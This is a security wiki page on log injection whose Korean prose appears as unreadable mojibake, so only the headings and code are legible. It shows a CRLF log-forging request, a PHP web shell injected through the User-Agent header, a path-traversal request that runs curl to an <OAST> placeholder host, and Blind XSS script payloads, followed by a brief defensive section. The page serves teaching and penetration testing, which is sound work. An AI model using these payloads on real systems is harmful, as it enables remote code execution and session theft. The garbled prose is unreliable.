Log Injection

๐Ÿ” Introduction

Log Injection์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋กœ๊ทธ์— ํฌํ•จ๋˜๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ด์šฉํ•ด ๋กœ๊ทธ ํ•ญ๋ชฉ์„ ์œ„์กฐํ•˜๊ฑฐ๋‚˜ ์•…์„ฑ ๋‚ด์šฉ์„ ๋กœ๊ทธ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

WhiteBox

์†Œ์Šค์ฝ”๋“œ ๋˜๋Š” ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์‹๋ณ„ํ•˜๊ธฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. ์—๋Ÿฌ ๋กœ๊ทธ์—์„œ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์„ ํฌํ•จํ•˜์—ฌ ๋กœ๊น…ํ•˜๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ์˜ํ–ฅ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

  • ์ฝ”๋“œ๋ ˆ๋ฒจ: ๊ฐ ์–ธ์–ด์—์„œ ๋กœ๊ทธ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ถ€๋ถ„ ์ค‘ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ์กด์žฌํ•˜๋Š”์ง€ ์ฒดํฌ
  • ๋กœ๊ทธ๋ ˆ๋ฒจ: ์‹ค์ œ๋กœ ์›น ์š”์ฒญ์„ ํ†ตํ•ด ์—๋Ÿฌ๋ฅผ ์œ ๋„ํ•˜๊ณ , ๊ธฐ๋ก๋˜๋Š” ๋กœ๊ทธ๋ฅผ ์ฒดํฌ

์–ธ์–ด ๋ณ„ ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋Š” Vulncat์— ์ •๋ฆฌ๋˜์–ด ์žˆ์œผ๋‹ˆ ํ•ด๋‹น ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

1
2
3
4
5
6
// ์ทจ์•ฝ ์ฝ”๋“œ ์˜ˆ์‹œ
// ์•„๋ž˜ ์ฝ”๋“œ๋Š” query ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ถ€ํ„ฐ ์–ป์€ ๊ฐ’์ด ๋ณ„๋„์˜ ๊ฒ€์ฆ ์—†์ด
// log๋กœ ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค.

input := r.FormValue("query")
logger.ErrorF("Error input: %s / %s", input, err)

BlackBox

์†Œ์Šค์ฝ”๋“œ๋‚˜ ๋กœ๊ทธ๋ฅผ ํ†ตํ•ด ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ์‹๋ณ„ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๋‹จ Blind ๊ณ„ํ†ต์˜ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ OAST๋ฅผ ์ด์šฉํ•œ ํ…Œ์ŠคํŒ… ๋ฐฉ๋ฒ•์ด ๊ฐ€์žฅ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋กœ๊ทธ ๋‚ด OAST ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•œ ํ›„ ๋กœ๊ทธ๋ฅผ ์œ ๋„ํ•˜์—ฌ OAST ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ด Reaction์„ ํ™•์ธํ•˜๊ณ , ์š”์ฒญ์ด ์˜จ๋‹ค๋ฉด ๋ฐฑ์—”๋“œ์—์„œ Blind ๊ณ„ํ†ต์˜ ์ทจ์•ฝ์  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

e.g

1
2
GET /please_error_trigger HTTP/1.1
User-Agent: aaaaaaa"><img/src=OAST>

๋‹จ Callback์ด ์˜จ ๊ฒฝ์šฐ ๋‹จ์ˆœ Log injection์ด ์•„๋‹Œ Blind SSRF, Blind XSS ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

Exploitation

Log forging

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋กœ๊ทธ์— ๋ฐ˜์˜๋˜๋Š” ๋ถ€๋ถ„์ด ์žˆ๋‹ค๋ฉด CRLF(\r\n) ๋ฌธ์ž๋ฅผ ์ด์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด ๋กœ๊ทธ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋กœ๊ทธ๋Š” ์นจํ•ด์‚ฌ๊ณ  ๋ถ„์„์„ ์–ด๋ ต๊ฒŒํ•  ์ˆ˜ ์žˆ๊ณ , ๋กœ๊ทธ์˜ ๋ฌด๊ฒฐ์„ฑ์„ ํ•ด์ณ์„œ ๋กœ๊ทธ์˜ ์‹ ๋ขฐ๋„๋ฅผ ๋–จ์–ด๋œจ๋ฆฌ๊ณ , ๋กœ๊ทธ๊ฐ€ ๊ฐ€์ง€๋Š” ๋ถ€์ธ ๋ฐฉ์ง€๋กœ์„œ์˜ ๋ชฉ์ ์„ ์ƒ์‹คํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ”๋“œ

1
2
input := r.FormValue("query")
logger.ErrorF("['%s' User][error][input: %s] %s", username, input, err)

์š”์ฒญ๊ณผ ์ •์ƒ ๋กœ๊ทธ

1
2
3
GET /?query=aaaa

['A' User][error][input: aaaa] invalid data

๊ณต๊ฒฉ ์š”์ฒญ๊ณผ ๋กœ๊ทธ

1
2
3
4
GET /?query=aaaa]%20invalid%20data%0d%0a['B' User][token]%20re-generate%20token

['A' User][error][input: aaaa] invalid data
['B' User][token] re-generate token

Log Poisoning

Log ๋ฐ์ดํ„ฐ๋ฅผ ํ†ต์ œํ•  ์ˆ˜ ์žˆ๊ณ  ์„œ๋น„์Šค ๋‚ด LFI, Path Traversal ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ๋กœ๊ทธ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์œ ์ถ”ํ•˜์—ฌ RCE ๋“ฑ ์œ„ํ—˜๋„ ๋†’์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

First request (log poisoning)

1
2
GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb

Second request (path traversal)

1
GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1

Blind XSS

๋กœ๊ทธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ์–ด๋“œ๋ฏผ์ด๋‚˜ ์›น ์„œ๋น„์Šค๊ฐ€ ์žˆ๋‹ค๋ฉด ์ด๋ฅผ ์ด์šฉํ•ด์„œ Blind XSS๊ฐ€ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
GET /?query=aaa"'></script><script src=<OAST>></script>

// ๋กœ๊ทธ
['A' User][error][input: aaa"'></script><script src=<OAST>></script>] invalid data

// ๋งŒ์•ฝ ์›น ์„œ๋น„์Šค์—์„œ ์œ„ ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด Blind XSS๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

๊ฐ€๊ธ‰์  ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ๋กœ๊ทธ์— ๋ฐ˜์˜๋˜์ง€ ์•Š๋„๋ก ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด์•ผํ•˜๋ฉฐ, ๋งŒ์•ฝ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฐ˜์˜๋˜์–ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ๋กœ๊ทธ ํฌ๋งท์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์—†๋„๋ก CRLF, Tab, ๊ณผ๋„ํ•œ Space ๋“ฑ์˜ ๋ฌธ์ž๋Š” ๊ธฐ๋ก๋˜์ง€ ์•Š๋„๋ก ๊ฒ€์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0